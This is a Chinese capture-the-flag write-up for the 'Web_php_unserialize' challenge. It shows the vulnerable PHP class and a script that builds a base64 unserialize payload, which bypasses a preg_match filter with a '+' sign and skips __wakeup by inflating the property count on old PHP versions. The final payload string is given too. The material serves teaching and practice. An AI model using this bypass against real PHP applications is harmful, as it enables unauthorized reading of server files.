攻防世界之Web_php_unserialize

题目:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 

?>

======================================================================================

解题思路:

对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了

在类Demo中有一个私有变量,三个方法分别是一个构造,一个析构,还有就是一个魔术方法。

构造函数__construct()在程序执行开始的时候对变量进行赋初值。

析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。

在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

======================================================================================

解答过程:代码在线运行工具https://tool.lu/coderunner/

攻防世界之Web_php_unserialize
 1 <?php
 2 class Demo {
 3 private $file = 'index.php';
 4 //protected $file1 = 'index.php';
 5 public function __construct($file) {
 6     $this->file = $file;
 7     //$this->file1 = $file1;
 8 }
 9 function __destruct() {
10     echo @highlight_file($this->file, true);
11 }
12 function __wakeup() {
13     if ($this->file != 'index.php') {
14         //the secret is in the fl4g.php
15         $this->file = 'index.php';
16     }
17 }
18 }
19 $a = new Demo("fl4g.php");    // 创建一个对象
20 echo serialize($a)."\n";    // 序列化
21 //O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
22 $b = serialize($a);
23 $b = str_replace('O:4','O:+4',$b);  // 使用+号绕过preg_match()正则匹配
24 echo $b."\n";    // 
25 $b = str_replace(':1:',':2:',$b);    // 当成员属性数目大于实际数目时可绕过wakeup方法
26 echo $b."\n";
27 echo base64_encode($b);
28 // <?php
29 class Demo {
30 private $file = 'index.php';
31 //protected $file1 = 'index.php';
32 public function __construct($file) {
33     $this->file = $file;
34     //$this->file1 = $file1;
35 }
36 function __destruct() {
37     echo @highlight_file($this->file, true);
38 }
39 function __wakeup() {
40     if ($this->file != 'index.php') {
41         //the secret is in the fl4g.php
42         $this->file = 'index.php';
43     }
44 }
45 }
46 $a = new Demo("fl4g.php");    // 创建一个对象
47 echo serialize($a)."\n";    // 序列化
48 //O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
49 $b = serialize($a);
50 $b = str_replace('O:4','O:+4',$b);  // 使用+号绕过preg_match()正则匹配
51 echo $b."\n";    // 
52 $b = str_replace(':1:',':2:',$b);    // 当成员属性数目大于实际数目时可绕过wakeup方法
53 echo $b."\n";
54 echo base64_encode($b);
55 // 答案:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
56  ?>
57  ?>
View Code

 

=======================================================================================

总结:

1.进行代码审计,发现为反序列,如果一个类定义了wakup()和destruct(),则该类的实例被反序列化时,会自动调用wakeup(), 生命周期结束时,则调用desturct()

2.在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。

3.通过+号可以绕过正则匹配preg_match()

上一篇:计算机网络 - 应用层


下一篇:web前端的学习01